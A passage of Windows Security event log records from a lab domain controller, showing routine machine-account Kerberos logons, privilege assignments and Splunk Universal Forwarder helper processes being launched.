	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x42C64F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65414

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256598
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42C64F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256601
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256603
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256602
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256604
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256605
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:33:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256610
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42FC20

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:33:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256609
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x42FC20
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65427

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:33:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256608
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42FC20

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:34:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256611
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256613
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x794
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x590
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256614
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x708
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256615
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256616
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x52c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256617
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:34:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256620
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4331A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:34:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256619
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4331A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65441

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:34:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256618
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4331A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
